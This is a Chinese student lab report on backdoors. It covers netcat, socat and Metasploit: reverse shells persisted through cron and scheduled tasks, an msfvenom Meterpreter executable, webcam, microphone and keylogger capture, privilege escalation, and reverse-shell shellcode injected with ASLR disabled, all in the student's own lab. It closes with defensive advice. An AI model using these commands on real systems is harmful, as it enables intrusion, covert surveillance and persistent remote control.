2019-2020-2 网络对抗技术 20175206 Exp2 后门原理与实践
- 后门
- 后门的概念:在信息安全领域,后门是指绕过安全控制而获取对程序或系统访问权的方法
- 后门程序的概念:后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径,是指那些绕过安全性控制而获取对程序或系统访问权的程序方法
- 后门工作流程:生成程序——后门植入——程序运行——免杀处理
- 后门种类:
网页后门————此类后门程序一般都是服务器上正常的web服务来构造自己的连接方式
线程插入后门————利用系统自身的某个服务或者线程,将后门程序插入到其中
扩展后门————所谓的“扩展”,是指在功能上有大的提升,比普通的单一功能的后门有很强的使用性,这种后门本身就相当于一个小的安全工具包,能实现非常多的常见安全功能,适合新手使用
c/s后门————和传统的木马程序类似的控制方法,采用“客户端/服务端”的控制方式,通过某种特定的访问方式来启动后门进而控制服务器
后门与病毒的差别:后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其它电脑;后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置;在病毒命名中,后门一般带有backdoor字样,而木马一般则是Trojan字样。
- 后门工具
- Netcat:
概念:是一个底层工具,进行基本的TCP、UDP数据收发。常被与其他工具结合使用,起到后门的作用。
作用:
telnet / 获取系统 banner 信息
传输文本信息
传输文件和目录
加密传输文件
端口扫描
远程控制 / 正方向 shell
流媒体服务器
远程克隆硬盘
- socat:socat是nc的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
- Meterpreter
后门就是一个程序。
传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式,运行平台,以及运行参数全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
典型的平台就包括有:
intersect、Metaspolit的msfvenom指令以及Veil-evasion
指令参数说明
-p
使用的payload
。payload
翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp
就是一段shellcode
.
-x
使用的可执行文件模板,payload(shellcode)
就写入到这个可执行文件中。
-e
使用的编码器,用于对shellcode
变形,为了免杀。
-i
编码器的迭代次数。如上即使用该编码器编码5次。
-b
badchar是payload中需要去除的字符。
LHOST
是反弹回连的IP
LPORT
是回连的端口
-f
生成文件的类型
>
输出到哪个文件
- Netcat:
实践内容
任务一:使用netcat获取主机操作Shell,cron启动
任务二:使用socat获取主机操作Shell, 任务计划启动
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
准备工作
Windows获得Linux Shell
- Windows中使用
ipconfig
命令获得IP地址192.168.10.101
- Windows中输入监听命令
ncat.exe -l -p 5206
- kali中反弹给Windows shell命令
ncat 192.168.1.101 5206 -e /bin/sh
-e
选项用于执行shell
- 如图所示,windows成功获得其shell,可以看到里面的内容
Linux获得Windows Shell
- 在管理员状态下使用
ifconfig
命令获得kali ip192.168.64.144
- kali输入监听命令
nc -l -p 5206
- Windows中反弹kali
ncat.exe -e cmd.exe 192.168.64.144 5206
- kali获得Windows的shell
使用nc传输数据
- 传输数据,windows下输入
ncat.exe -l -p 5206
,linux下输入ncat 192.168.1.101 5206
即可进行数据传输
实践过程
任务一:使用netcat获取主机操作Shell,cron启动
- cron是一个linux下的定时执行工具,可以在无需人工干预的情况下运行作业。
- 在Windows下监听5206端口
- 在kali中,通过
crontab -e
指令便捷定时任务 - 因为此时时间为22分,为防止问题,我们调至26分启动,最后一行添加
26 * * * * /bin/netcat 192.168.10.101 5206 -e /bin/sh
(从左至右参数一次为:分,小时,日,月,星期几)意思是在每个小时的第26分钟反弹Windows主机的5206端口shell
- 按时进行监听操作,发现获取shell成功!
任务二:使用socat获取主机操作Shell, 任务计划启动
- 在下载完socat之后,进入
计算机管理
,进入任务计划程序
,创建socat
任务
- 在
创建任务操作
中指定启动socat.exe,参数为tcp-listen:5206 exec:cmd.exe,pty,stderr
,这样链接5206端口的用户都可以获取shell
- 新建一个
触发器
,选择按预定计划
,设置时间为10:11:00
- 在库中可看到任务信息
- socat按预定计划启动
- 此时在kali中输入
socat - tcp:192.168.10.101:5206
,获得windows的cmd shell。
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.144 LPORT=5206 -f exe > 20175206_backdoor.exe
(kali IP)生成后门程序20175206_backdoor.exe
- 在Windows中使用
ncat.exe -lv 5206 > 20175206_backdoor.exe
查看连接状态
- kali中输入
nc 192.168.10.101 5206 < 20175206_backdoor.exe
(Windows IP)将生成的后门程序传送到Windows主机,传输成功。
- 在linux中另外打开一个终端,msfconsole进入控制台
- 输入
use exploit/multi/handler
使用监听模块 - 使用和生成后门程序时相同的payload:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.64.144
(kali的IP)- 端口号也相同:
set LPORT 5216
- 设置完成后,exploit开始监听
- kali获得Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 截取音频:
record_mic
- 获取摄像头拍照:
webcam_snap
- 恭喜你获得蒙牛纯牛奶一盒!
- 截屏:
screenshot
- 击键记录:
keyscan_start
- 读取击键的记录:
keyscan_dump
- 查看当前用户:
getuid
- 提取权限:
getsystem
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
首先进入shellcode官网下载合适的shellcode(都不知道这个要加载到何年何月)
-
下载对应的shellcode后安排上,和exp1一模一样的方式进行注入,shellcode为
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
-
和实验一一样进行下述操作(这里的pwn文件我们复制命名为20175206pwnexp2)
execstack -s 20175206pwn //设置堆栈可执行
execstack -q 20175206pwn //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
- 启用gdb调试进程,attach 4806与进程建立连接
- 输入指令
disassemble foo
对foo函数进行反汇编。 - 然后设置断点
break *0x080484ae
- 然后回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令
c
继续。 - 接下来输入指令
info r esp
查看查看栈顶指针所在的位置,并查看改地址存放的数据
- 通过gdb调试找到shellcode的返回地址
0xffffd6ac
+4=0xffffd6b0
,(进行注入)
- 在新终端b中启动
msfconsole
,打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444(代码规定)
show options
exploit
- 成功获得shell
实践问题
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
打开钓鱼链接,打开钓鱼邮件等
在不被信任的网站上下载东西(如图片,视频,应用程序等等),在程序运行的同时,后门可能已经被植入自己的电脑
(2)例举你知道的后门如何启动起来(win及linux)的方式?
在之前学习信息安全技术的实验课中,曾经安装过一个远程操控系统,其与应用程序、图片等绑定,在打开图片或运行程序的同时,该后门程序已经安装到用户主机当中,其在自启动项,注册表,以及进程线程中均有体现。与此同时还有相应的文件进入系统文件当中互相保护,极难被查出
(3)Meterpreter有哪些给你映像深刻的功能?
摄像头的控制,键盘摄入的控制让个人信息被泄露,甚至祸及周边亲人朋友。不法分子极有可能利用这些信息对用户进行诈骗勒索等犯罪举动,其危害程度之深显而易见
(4)如何发现自己有系统有没有被安装后门?
经常使用杀毒软件查杀,更新病毒库
查看注册表,自启动项,进程和线程(线程需要特定应用程序进行监视),对可疑的行为及时终止
开启端口监控,时常对端口接收的信息进行过滤,对陌生端口的突然开放要多加注意,关闭不使用的端口
实验总结与体会
- 总结
本次实验我觉得最大的问题就是生成shellcode的时候,在这里我一直不太清楚,在做实验一的时候也是出现这种情况,在参考了很多人的资料后,最终选择和大部分人一样的shellcode进行下载,然后经过exp1的实验过程进行注入,但在下载过程中仍旧困难重重,这是我这次实验中做的最吃力的一部分,各处地方报错,还无法找到原因,只能重头再来,或者重新启动机器,这显然是知识把握不够准确的缘故,应当注意,还有就是工具的使用不够熟练,处理遇到的问题能力不足等。应当在下次实验中进行改正。 - 体会
做完这个实验的第一想法就是,我是不是该把电脑重新彻底检查一遍...因为在下载一些软件或看一些资料的时候有时候就无视了网站给出的不信任警告,很轻易的就点了进去,现在想想还是后怕。在这个信息透明的时代,犯的每一个错误都有可能给自己之后带来不可估量的损失,就拿Meterpreter的摄像头控制来讲,后门的植入者很轻易就能掌握你的一些基础信息,甚至可以根据用户的房间构造,房间背景,以及键入的信息来判断你的所处位置,调查你的全部个人信息,这样的话用户的信息就完全被知晓了,对用户的危害性极其之大。这次实验提醒我们在之后的学习和生活当中要谨防这种后门的植入,最简单直接的办法就是管好自己,在上网浏览资料或是下载软件的时候,去官方认证的平台去浏览或下载,切勿贪图小利,最终造成不可挽回的损失。